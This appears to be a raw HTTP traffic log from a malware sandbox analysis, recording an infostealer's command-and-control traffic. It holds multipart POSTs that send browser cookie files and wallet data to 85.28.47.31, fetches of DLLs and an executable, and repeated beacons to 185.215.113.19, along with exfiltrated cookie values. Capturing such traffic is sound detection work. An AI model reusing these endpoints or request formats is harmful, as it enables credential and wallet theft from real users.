Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBGHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 2d 2d 0d 0a Data Ascii: ------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCBHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="file"------BGIJEGCGDGHDHIDHDGCB--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDHHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="file"------IDBAKKECAEGCAKFIIIDH--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCFHost: 85.28.47.31Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"wallets------EGDGDHJJDGHCAAAKEHIJ--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFHHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="message"ybncbhylepme------IDHJEBGIEBFIJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
